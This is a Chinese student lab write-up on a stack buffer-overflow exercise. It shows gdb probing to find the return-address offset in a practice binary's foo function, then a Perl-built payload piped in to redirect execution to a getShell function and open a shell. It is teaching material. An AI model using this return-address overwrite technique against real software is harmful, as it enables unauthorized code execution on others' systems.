利用foo函数的Bof漏洞攻击:构造攻击字符串

时间:2022-12-28 06:10:00

利用foo函数的Bof漏洞攻击:构造攻击字符串

一、基础知识储备

objdump反汇编指令、gdb函数调试运行、Perl语言、|管道符

二、实验步骤

1. 通过反汇编了解程序功能及代码

利用foo函数的Bof漏洞攻击:构造攻击字符串

利用foo函数的Bof漏洞攻击:构造攻击字符串
①反汇编查看文件内容

②可以知道getShell函数地址为0804847d

③可知foo函数执行完成之后,系统会调用的下一条指令的地址为80484ba,此地址为返回地址

我们要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484ba的值为0804847d,这样就会执行getshell函数。

2. 确定输入的哪几个字符会覆盖返回地址

2.1调试运行程序 gdb

利用foo函数的Bof漏洞攻击:构造攻击字符串

通过输入gdb 20154305 指令调试程序,再输入r运行程序

2.2 输入一串字符大致确定覆盖位置

利用foo函数的Bof漏洞攻击:构造攻击字符串

④程序运行后我们输入字符串111111112222222233333333444444445555555566666666

⑤程序出现分段错误,0x35353535 in ?? (),意思是这个地址的指令错误

此时我们通过info r查看寄存器信息

⑥显示出eip指令寄存器存储的地址为0x35353535,此ASCII值代表5555

⑦也可以通过info r eip指令直接显示指令寄存器存储的地址。

5555则可以知道我们输入的字符串从55555555开始溢出,但是还不确定是哪四个5

2.3 进一步确定覆盖位置

继续调试运行20154305文件

利用foo函数的Bof漏洞攻击:构造攻击字符串

⑧输入字符串`1111111122222222333333334444444412345678'产生溢出错误

⑨查看指令寄存器eip内的值为0x34333231,表示4321

由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值

所以接下来我们需要修改1234的值为0804847d进行覆盖

3. 构造输入字符串

3.1 确定字符串输入顺序

就是需要输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08

由⑨可以知道小字节优先,应该输入11111111222222223333333344444444\x7d\x84\x04\x08

3.2 构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。

键入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
利用foo函数的Bof漏洞攻击:构造攻击字符串

\x0a表示回车。

可以通过xxd查看文件十六进制格式的内容。

3.3 然后将input的输入,通过管道符“|”,作为20154305的输入,覆盖返回地址

(cat input; cat) | ./20154305
利用foo函数的Bof漏洞攻击:构造攻击字符串

此时我们就可以输入Shell指令了

箭头11ls就是Shell指令。

到此通过利用foo的Bof漏洞攻击已经完成。

三、实验总结

利用缓冲区溢出的漏洞攻击比较难的地方是如何确定输入的哪些字符串会覆盖返回地址,以及如何通过管道输入,有些新的知识需要我这个小白消化理解。